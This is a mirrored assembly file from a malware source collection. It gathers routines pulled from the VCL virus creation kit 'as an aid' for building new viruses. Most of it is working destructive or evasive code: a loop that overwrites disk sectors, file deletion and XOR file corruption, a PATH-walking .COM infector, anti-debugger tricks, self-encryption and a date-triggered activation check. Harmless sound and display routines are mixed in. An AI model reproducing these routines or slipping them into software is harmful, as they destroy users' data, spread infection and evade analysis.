mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
664 lines
21 KiB
NASM
664 lines
21 KiB
NASM
;These routines were pulled from the VCL as an aid to those who
|
|
;wish to write themselves some utilities. I have tried to gather
|
|
;all the essential pieces of the routines, so that you can simply
|
|
;install them in modules.
|
|
;
|
|
;
|
|
;
|
|
;
|
|
;This is a DROPPER routine from the VCL.
|
|
|
|
|
|
mov dx,offset data00 ; DX points to data
|
|
mov si,offset data01 ; SI points to data
|
|
push di ; Save DI
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
mov di,bx ; DI points to DTA
|
|
mov ah,04Eh ; DOS find first file function
|
|
mov cx,00100111b ; CX holds all file attributes
|
|
int 021h
|
|
jc create_file ; If not found then create it
|
|
write_in_file: mov ax,04301h ; DOS set file attributes function
|
|
xor cx,cx ; File will have no attributes
|
|
lea dx,[di + 01Eh] ; DX points to file name
|
|
int 021h
|
|
mov ax,03D01h ; DOS open file function, write
|
|
lea dx,[di + 01Eh] ; DX points to file name
|
|
int 021h
|
|
xchg bx,ax ; Transfer file handle to AX
|
|
mov ah,040h ; DOS write to file function
|
|
mov cx,[si] ; CX holds number of byte to write
|
|
lea dx,[si + 2] ; DX points to the data
|
|
int 021h
|
|
mov ax,05701h ; DOS set file date/time function
|
|
mov cx,[di + 016h] ; CX holds old file time
|
|
mov dx,[di + 018h] ; DX holds old file data
|
|
int 021h
|
|
mov ah,03Eh ; DOS close file function
|
|
int 021h
|
|
mov ax,04301h ; DOS set file attributes function
|
|
xor ch,ch ; Clear CH for attributes
|
|
mov cl,[di + 015h] ; CL holds old attributes
|
|
lea dx,[di + 01Eh] ; DX points to file name
|
|
int 021h
|
|
mov ah,04Fh ; DOS find next file function
|
|
int 021h
|
|
jnc write_in_file ; If successful do next file
|
|
jmp short dropper_end ; Otherwise exit
|
|
create_file: mov ah,03Ch ; DOS create file function
|
|
xor cx,cx ; File has no attributes
|
|
int 021h
|
|
xchg bx,ax ; Transfer file handle to AX
|
|
mov ah,040h ; DOS write to file function
|
|
mov cx,[si] ; CX holds number of byte to write
|
|
lea dx,[si + 2] ; DX points to the data
|
|
int 021h
|
|
mov ah,03Eh ; DOS close file function
|
|
int 021h
|
|
dropper_end: pop di ; Restore DI
|
|
|
|
|
|
mov ax,04C00h ; DOS terminate function
|
|
int 021h
|
|
|
|
;This is a STOP TRACE technique for fouling up DEBUGGERS
|
|
|
|
|
|
stop_tracing: mov cx,09EBh
|
|
mov ax,0FE05h ; Acutal move, plus a HaLT
|
|
jmp $-2
|
|
add ah,03Bh ; AH now equals 025h
|
|
jmp $-10 ; Execute the HaLT
|
|
mov bx,offset null_vector ; BX points to new routine
|
|
push cs ; Transfer CS into ES
|
|
pop es ; using a PUSH/POP
|
|
int 021h
|
|
mov al,1 ; Disable interrupt 1, too
|
|
int 021h
|
|
jmp short skip_null ; Hop over the loop
|
|
null_vector: jmp $ ; An infinite loop
|
|
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
|
lock_keys: mov al,128 ; Change here screws DEBUG
|
|
out 021h,al ; If tracing then lock keyboard
|
|
|
|
;This is a TRASH routine for destroying sectors
|
|
|
|
|
|
mov ax,0002h ; First argument is 2
|
|
mov cx,0001h ; Second argument is 1
|
|
cli ; Disable interrupts (no Ctrl-C)
|
|
cwd ; Clear DX (start with sector 0)
|
|
trash_loop: int 026h ; DOS absolute write interrupt
|
|
dec ax ; Select the previous disk
|
|
cmp ax,-1 ; Have we gone too far?
|
|
jne trash_loop ; If not, repeat with new drive
|
|
sti ; Restore interrupts
|
|
|
|
;This is a FILE ERASE routine
|
|
|
|
|
|
mov dx,offset data02 ; DX points to data
|
|
mov ah,04Eh ; DOS find first file function
|
|
mov cx,00100111b ; All file attributes valid
|
|
int 021h
|
|
jc erase_done ; Exit procedure on failure
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
lea dx,[bx + 01Eh] ; DX points to filename in DTA
|
|
erase_loop: mov ah,041h ; DOS delete file function
|
|
int 021h
|
|
mov ah,03Ch ; DOS create file function
|
|
xor cx,cx ; No attributes for new file
|
|
int 021h
|
|
mov ah,041h ; DOS delete file function
|
|
int 021h
|
|
mov ah,04Fh ; DOS find next file function
|
|
int 021h
|
|
jnc erase_loop ; Repeat until no files left
|
|
erase_done:
|
|
|
|
mov ax,04C00h ; DOS terminate function
|
|
int 021h
|
|
|
|
;This is a DIRECTORY "PATH"/ FILE FIND routine
|
|
|
|
|
|
search_files proc near
|
|
mov bx,di ; BX points to the virus
|
|
push bp ; Save BP
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,135 ; Allocate 135 bytes on stack
|
|
|
|
mov byte ptr [bp - 135],'\' ; Start with a backslash
|
|
|
|
mov ah,047h ; DOS get current dir function
|
|
xor dl,dl ; DL holds drive # (current)
|
|
lea si,[bp - 134] ; SI points to 64-byte buffer
|
|
int 021h
|
|
|
|
call traverse_path ; Start the traversal
|
|
|
|
traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
|
|
je done_searching ; If so then we're done
|
|
call found_subdir ; Otherwise copy the subdirectory
|
|
|
|
mov ax,cs ; AX holds the code segment
|
|
mov ds,ax ; Set the data and extra
|
|
mov es,ax ; segments to the code segment
|
|
|
|
xor al,al ; Zero AL
|
|
stosb ; NULL-terminate the directory
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
lea dx,[bp - 70] ; DX points to the directory
|
|
int 021h
|
|
|
|
lea dx,[bx + com_mask] ; DX points to "*.COM"
|
|
push di
|
|
mov di,bx
|
|
call find_files ; Try to infect a .COM file
|
|
mov bx,di
|
|
pop di
|
|
jnc done_searching ; If successful the exit
|
|
jmp short traversal_loop ; Keep checking the PATH
|
|
|
|
done_searching: mov ah,03Bh ; DOS change directory function
|
|
lea dx,[bp - 135] ; DX points to old directory
|
|
int 021h
|
|
|
|
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
|
|
jne at_least_tried ; If not then exit
|
|
stc ; Set the carry flag for failure
|
|
at_least_tried: mov sp,bp ; Restore old stack pointer
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
com_mask db "*.COM",0 ; Mask for all .COM files
|
|
search_files endp
|
|
|
|
traverse_path proc near
|
|
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
|
|
xor di,di ; DI holds the starting offset
|
|
|
|
find_path: lea si,[bx + path_string] ; SI points to "PATH="
|
|
lodsb ; Load the "P" into AL
|
|
mov cx,08000h ; Check the first 32767 bytes
|
|
repne scasb ; Search until the byte is found
|
|
mov cx,4 ; Check the next four bytes
|
|
check_next_4: lodsb ; Load the next letter of "PATH="
|
|
scasb ; Compare it to the environment
|
|
jne find_path ; If there not equal try again
|
|
loop check_next_4 ; Otherwise keep checking
|
|
|
|
mov word ptr [bx + path_ad],di ; Save the PATH address
|
|
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
|
|
ret ; Return to caller
|
|
|
|
path_string db "PATH=" ; The PATH string to search for
|
|
path_ad dd ? ; Holds the PATH's address
|
|
traverse_path endp
|
|
|
|
found_subdir proc near
|
|
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
|
|
lea di,[bp - 70] ; DI points to the work buffer
|
|
push cs ; Transfer CS into ES for
|
|
pop es ; byte transfer
|
|
move_subdir: lodsb ; Load the next byte into AL
|
|
cmp al,';' ; Have we reached a separator?
|
|
je moved_one ; If so we're done copying
|
|
or al,al ; Are we finished with the PATH?
|
|
je moved_last_one ; If so get out of here
|
|
stosb ; Store the byte at ES:DI
|
|
jmp short move_subdir ; Keep transfering characters
|
|
|
|
moved_last_one: xor si,si ; Zero SI to signal completion
|
|
moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address
|
|
ret ; Return to caller
|
|
found_subdir endp
|
|
|
|
find_files proc near
|
|
push bp ; Save BP
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
push bx ; Save old DTA address
|
|
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
push dx ; Save file mask
|
|
mov ah,01Ah ; DOS set DTA function
|
|
lea dx,[bp - 128] ; DX points to buffer
|
|
int 021h
|
|
|
|
mov ah,04Eh ; DOS find first file function
|
|
mov cx,00100111b ; CX holds all file attributes
|
|
pop dx ; Restore file mask
|
|
find_a_file: int 021h
|
|
jc done_finding ; Exit if no files found
|
|
call infect_file ; Infect the file!
|
|
jnc done_finding ; Exit if no error
|
|
mov ah,04Fh ; DOS find next file function
|
|
jmp short find_a_file ; Try finding another file
|
|
|
|
done_finding: mov sp,bp ; Restore old stack frame
|
|
mov ah,01Ah ; DOS set DTA function
|
|
pop dx ; Retrieve old DTA address
|
|
int 021h
|
|
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
find_files endp
|
|
|
|
|
|
;This is a RAM REDUCTION routine
|
|
|
|
|
|
mov dx,0064h ; First argument is 100
|
|
push es ; Save ES
|
|
mov ax,040h ; Set extra segment to 040h
|
|
mov es,ax ; (ROM BIOS)
|
|
mov word ptr es:[013h],dx ; Store new RAM ammount
|
|
pop es ; Restore ES
|
|
|
|
mov ah,0Fh ; BIOS get video mode function
|
|
int 010h
|
|
xor ah,ah ; BIOS set video mode function
|
|
int 010h
|
|
|
|
|
|
;This is a MACHINE GUN SOUND routine followed by a DROP TO ROM routine
|
|
|
|
|
|
mov cx,0005h ; First argument is 5
|
|
new_shot: push cx ; Save the current count
|
|
mov dx,0140h ; DX holds pitch
|
|
mov bx,0100h ; BX holds shot duration
|
|
in al,061h ; Read the speaker port
|
|
and al,11111100b ; Turn off the speaker bit
|
|
fire_shot: xor al,2 ; Toggle the speaker bit
|
|
out 061h,al ; Write AL to speaker port
|
|
add dx,09248h ;
|
|
mov cl,3 ;
|
|
ror dx,cl ; Figure out the delay time
|
|
mov cx,dx ;
|
|
and cx,01FFh ;
|
|
or cx,10 ;
|
|
shoot_pause: loop shoot_pause ; Delay a bit
|
|
dec bx ; Are we done with the shot?
|
|
jnz fire_shot ; If not, pulse the speaker
|
|
and al,11111100b ; Turn off the speaker bit
|
|
out 061h,al ; Write AL to speaker port
|
|
mov bx,0002h ; BX holds delay time (ticks)
|
|
xor ah,ah ; Get time function
|
|
int 1Ah ; BIOS timer interrupt
|
|
add bx,dx ; Add current time to delay
|
|
shoot_delay: int 1Ah ; Get the time again
|
|
cmp dx,bx ; Are we done yet?
|
|
jne shoot_delay ; If not, keep checking
|
|
pop cx ; Restore the count
|
|
loop new_shot ; Do another shot
|
|
|
|
int 018h ; Drop to ROM BASIC
|
|
|
|
|
|
mov ax,04C00h ; DOS terminate function
|
|
int 021h
|
|
|
|
|
|
;This is a DISPLAY STRING routine
|
|
|
|
|
|
main proc near
|
|
mov si,offset data00 ; SI points to data
|
|
mov ah,0Eh ; BIOS display char. function
|
|
display_loop: lodsb ; Load the next char. into AL
|
|
or al,al ; Is the character a null?
|
|
je disp_strnend ; If it is, exit
|
|
int 010h ; BIOS video interrupt
|
|
jmp short display_loop ; Do the next character
|
|
disp_strnend:
|
|
|
|
|
|
This is a RANDOM NUMBER from BIOS CLOCK generator
|
|
|
|
|
|
get_random proc near
|
|
xor ah,ah ; BIOS get clock count function
|
|
int 01Ah
|
|
xchg dx,ax ; Transfer the count into AX
|
|
ret ; Return to caller
|
|
get_random endp
|
|
|
|
|
|
This is an CODE ENCRYPTION routine
|
|
|
|
|
|
encrypt_code proc near
|
|
mov si,offset encrypt_decrypt; SI points to cipher routine
|
|
|
|
xor ah,ah ; BIOS get time function
|
|
int 01Ah
|
|
mov word ptr [si + 8],dx ; Low word of timer is new key
|
|
|
|
xor byte ptr [si],1 ;
|
|
xor byte ptr [si + 7],1 ; Change all SIs to DIs
|
|
xor word ptr [si + 10],0101h; (and vice-versa)
|
|
|
|
mov di,offset finish ; Copy routine into heap
|
|
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
|
push si ; Save SI for later
|
|
push cx ; Save CX for later
|
|
rep movsb ; Copy the bytes
|
|
|
|
mov si,offset write_stuff ; SI points to write stuff
|
|
mov cx,5 ; CX holds length of write
|
|
rep movsb ; Copy the bytes
|
|
|
|
pop cx ; Restore CX
|
|
pop si ; Restore SI
|
|
inc cx ; Copy the RET also this time
|
|
rep movsb ; Copy the routine again
|
|
|
|
mov ah,040h ; DOS write to file function
|
|
mov dx,offset start ; DX points to virus
|
|
|
|
call finish ; Encrypt/write/decrypt
|
|
|
|
ret ; Return to caller
|
|
|
|
write_stuff: mov cx,finish - start ; Length of code
|
|
int 021h
|
|
encrypt_code endp
|
|
|
|
end_of_code label near
|
|
|
|
encrypt_decrypt proc near
|
|
mov si,offset start_of_code ; SI points to code to decrypt
|
|
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
|
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
|
inc si ; Do the next word
|
|
inc si ;
|
|
loop xor_loop ; Loop until we're through
|
|
ret ; Return to caller
|
|
encrypt_decrypt endp
|
|
|
|
|
|
;This is a BEEP routine
|
|
|
|
|
|
beep proc near
|
|
jcxz beep_end ; Exit if there are no beeps
|
|
mov ax,0E07h ; BIOS display char., BEL
|
|
beep_loop: int 010h ; Beep
|
|
loop beep_loop ; Beep until --CX = 0
|
|
beep_end:
|
|
ret ; Return to caller
|
|
beep endp
|
|
|
|
|
|
;This is a GET DAY/WEEK COMPARE BEFORE ACTIVATE routine
|
|
|
|
|
|
call get_day
|
|
cmp ax,000Bh ; Did the function return 11?
|
|
jne skip00 ; If not equal, skip effect
|
|
call get_weekday
|
|
cmp ax,0005h ; Did the function return 5?
|
|
jne skip00 ; If not equal, skip effect
|
|
jmp short strt00 ; Success -- skip jump
|
|
skip00: jmp end00 ; Skip the routine
|
|
strt00: mov si,offset data00 ; SI points to data
|
|
mov ah,0Eh ; BIOS display char. function
|
|
|
|
;Code goes between this-------------------------------->
|
|
|
|
get_day proc near
|
|
mov ah,02Ah ; DOS get date function
|
|
int 021h
|
|
mov al,dl ; Copy day into AL
|
|
cbw ; Sign-extend AL into AX
|
|
ret ; Return to caller
|
|
get_day endp
|
|
|
|
get_weekday proc near
|
|
mov ah,02Ah ; DOS get date function
|
|
int 021h
|
|
cbw ; Sign-extend AL into AX
|
|
ret ; Return to caller
|
|
get_weekday endp
|
|
|
|
|
|
;This is a FILE CORRUPTION routine
|
|
|
|
|
|
mov dx,offset data01 ; DX points to data
|
|
push bp ; Save BP
|
|
mov bp,sp ; BP points to stack frame
|
|
sub sp,4096 ; Allocate 4096-byte buffer
|
|
push di ; Save DI
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
mov di,bx ; DI points to DTA
|
|
mov ah,04Eh ; DOS find first file function
|
|
mov cx,00100111b ; CX holds all file attributes
|
|
int 021h
|
|
jc corrupt_end ; If no files found then exit
|
|
corrupt_file: mov ax,04301h ; DOS set file attributes function
|
|
xor cx,cx ; File will have no attributes
|
|
lea dx,[di + 01Eh] ; DX points to file name
|
|
int 021h
|
|
mov ax,03D02h ; DOS open file function, r/w
|
|
lea dx,[di + 01Eh] ; DX points to file name
|
|
int 021h
|
|
xchg bx,ax ; Transfer file handle to AX
|
|
c_crypt_loop: mov ah,03Fh ; DOS read from file function
|
|
mov cx,4096 ; Read 4k of characters
|
|
lea dx,[bp - 4096] ; DX points to the buffer
|
|
int 021h
|
|
or ax,ax ; Were 0 bytes read?
|
|
je close_c_file ; If so then close it up
|
|
push ax ; Save AX
|
|
lea si,[bp - 4096] ; SI points to the buffer
|
|
xor ah,ah ; BIOS get clock ticks function
|
|
int 01Ah
|
|
pop cx ; CX holds number of bytes read
|
|
push cx ; Save CX
|
|
corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks
|
|
inc si ; Do the next byte
|
|
inc dx ; Change the key for next byte
|
|
loop corrupt_bytes ; Repeat until buffer is done
|
|
pop dx ; Restore DX (holds bytes read)
|
|
push dx ; Save count for write
|
|
mov ax,04201h ; DOS file seek function, current
|
|
mov cx,0FFFFh ; Seeking backwards
|
|
neg dx ; Seeking backwards
|
|
int 021h
|
|
mov ah,040h ; DOS write to file function
|
|
pop cx ; CX holds number of bytes read
|
|
lea dx,[bp - 4096] ; DX points to the buffer
|
|
int 021h
|
|
jmp short c_crypt_loop
|
|
close_c_file: mov ax,05701h ; DOS set file date/time function
|
|
mov cx,[di + 016h] ; CX holds old file time
|
|
mov dx,[di + 018h] ; DX holds old file data
|
|
int 021h
|
|
mov ah,03Eh ; DOS close file function
|
|
int 021h
|
|
mov ax,04301h ; DOS set file attributes function
|
|
xor ch,ch ; Clear CH for attributes
|
|
mov cl,[di + 015h] ; CL holds old attributes
|
|
lea dx,[di + 01Eh] ; DX points to file name
|
|
int 021h
|
|
mov ah,04Fh ; DOS find next file function
|
|
int 021h
|
|
jnc corrupt_file ; If successful do next file
|
|
corrupt_end: pop di ; Restore DI
|
|
mov sp,bp ; Deallocate local buffer
|
|
pop bp ; Restore BP
|
|
|
|
|
|
;This is a COM PORT REARRANGING routin
|
|
|
|
|
|
mov bx,0001h ; First argument is 1
|
|
mov si,0002h ; Second argument is 2
|
|
push es ; Save ES
|
|
xor ax,ax ; Set the extra segment to
|
|
mov es,ax ; zero (ROM BIOS)
|
|
shl bx,1 ; Convert to word index
|
|
shl si,1 ; Convert to word index
|
|
mov ax,word ptr [bx + 03FEh]; Zero COM port address
|
|
xchg word ptr [si + 03FEh],ax; Put first value in second,
|
|
mov word ptr [bx + 03FEh],ax; and second value in first!
|
|
pop es ; Restore ES
|
|
|
|
|
|
;This is a DROP TO ROM routine
|
|
|
|
|
|
rom_basic proc near
|
|
int 018h ; Drop to ROM BASIC
|
|
ret ; Return to caller
|
|
rom_basic endp
|
|
|
|
|
|
;This is a TUNE PLAYING routine + TUNE DATA
|
|
|
|
|
|
mov si,offset data00 ; SI points to data
|
|
get_note: mov bx,[si] ; Load BX with the frequency
|
|
or bx,bx ; Is BX equal to zero?
|
|
je play_tune_done ; If it is we are finished
|
|
|
|
mov ax,034DDh ;
|
|
mov dx,0012h ;
|
|
cmp dx,bx ;
|
|
jnb new_note ;
|
|
div bx ; This bit here was stolen
|
|
mov bx,ax ; from the Turbo C++ v1.0
|
|
in al,061h ; library file CS.LIB. I
|
|
test al,3 ; extracted sound() from the
|
|
jne skip_an_or ; library and linked it to
|
|
or al,3 ; an .EXE file, then diassembled
|
|
out 061h,al ; it. Basically this turns
|
|
mov al,0B6h ; on the speaker at a certain
|
|
out 043h,al ; frequency.
|
|
skip_an_or: mov al,bl ;
|
|
out 042h,al ;
|
|
mov al,bh ;
|
|
out 042h,al ;
|
|
|
|
mov bx,[si + 2] ; BX holds duration value
|
|
xor ah,ah ; BIOS get time function
|
|
int 1Ah
|
|
add bx,dx ; Add the time to the length
|
|
wait_loop: int 1Ah ; Get the time again (AH = 0)
|
|
cmp dx,bx ; Is the delay over?
|
|
jne wait_loop ; Repeat until it is
|
|
|
|
in al,061h ; Stolen from the nosound()
|
|
and al,0FCh ; procedure in Turbo C++ v1.0.
|
|
out 061h,al ; This turns off the speaker.
|
|
|
|
new_note: add si,4 ; SI points to next note
|
|
jmp short get_note ; Repeat with the next note
|
|
play_tune_done:
|
|
|
|
|
|
data00 dw 262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6
|
|
dw 262,6,262,6,293,6,329,6,262,12,262,12
|
|
dw 262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6
|
|
dw 246,6,196,6,220,6,246,6,262,12,262,12
|
|
dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6
|
|
dw 196,6,220,6,196,6,174,6,164,6,174,6,196,7
|
|
dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7
|
|
dw 196,6,262,6,246,6,293,6,262,12,262,12
|
|
dw 0
|
|
|
|
|
|
;This is an ANSI DISPLAY routine
|
|
|
|
|
|
|
|
mov si,offset data01 ; SI points to data
|
|
xor cx,cx ; Clear CX
|
|
push di ; Save DI
|
|
push es ; Save ES
|
|
|
|
jcxz uncrunch_done ; Exit if there are no characters
|
|
|
|
mov ah,0Fh ; BIOS get screen mode function
|
|
int 10h
|
|
xor ah,ah ; BIOS set screen mode function
|
|
int 10h ; Clear the screen
|
|
|
|
xor di,di
|
|
mov ax,0B800h ; AX is set to video segment
|
|
mov es,ax ; ES holds video segment
|
|
|
|
mov dx,di ; Save X coordinate for later
|
|
xor ax,ax ; Set current attributes
|
|
cld
|
|
|
|
loopa: lodsb ; Get next character
|
|
cmp al,32 ; Is it a control character?
|
|
jb foreground ; Handle it if it is
|
|
stosw ; Save letter on screen
|
|
next: loop loopa ; Repeat until we're done
|
|
jmp short uncrunch_done ; Leave this routine
|
|
|
|
foreground: cmp al,16 ; Are we changing the foreground?
|
|
jnb background ; If not, check the background
|
|
and ah,0F0h ; Strip off old foreground
|
|
or ah,al ; Put the new one on
|
|
jmp short next ; Resume looping
|
|
|
|
background: cmp al,24 ; Are we changing the background?
|
|
je next_line ; If AL = 24, go to next line
|
|
jnb flash_bit_toggle ; If AL > 24 set the flash bit
|
|
sub al,16 ; Change AL to a color number
|
|
add al,al ; Crude way of shifting left
|
|
add al,al ; four bits without changing
|
|
add al,al ; CL or wasting space. Ok,
|
|
add al,al ; I guess.
|
|
and al,08Fh ; Strip off old background
|
|
or ah,al ; Put the new one on
|
|
jmp short next ; Resume looping
|
|
|
|
next_line: add dx,160 ; Skip a whole line (80 chars.
|
|
mov di,dx ; AND 80 attribs.)
|
|
jmp short next ; Resume looping
|
|
|
|
flash_bit_toggle: cmp al,27 ; Is it a blink toggle?
|
|
jb multi_output ; If AL < 27, it's a blinker
|
|
jne next ; Otherwise resume looping
|
|
xor ah,128 ; Toggle the flash bit
|
|
jmp short next ; Resume looping
|
|
|
|
multi_output: cmp al,25 ; Set Zero flag if multi-space
|
|
mov bx,cx ; Save main counter
|
|
lodsb ; Get number of repititions
|
|
mov cl,al ; Put it in CL
|
|
mov al,' ' ; AL holds a space
|
|
jz start_output ; If displaying spaces, jump
|
|
lodsb ; Otherwise get character to use
|
|
dec bx ; Adjust main counter
|
|
|
|
start_output: xor ch,ch ; Clear CH
|
|
inc cx ; Add one to count
|
|
rep stosw ; Display the character
|
|
mov cx,bx ; Restore main counter
|
|
dec cx ; Adjust main counter
|
|
loopnz loopa ; Resume looping if not done
|
|
|
|
uncrunch_done: pop es ; Restore ES
|
|
pop di ; Restore DI
|
|
|
|
|
|
mov ax,04C00h ; DOS terminate function
|
|
int 021h
|
|
|
|
|
|
|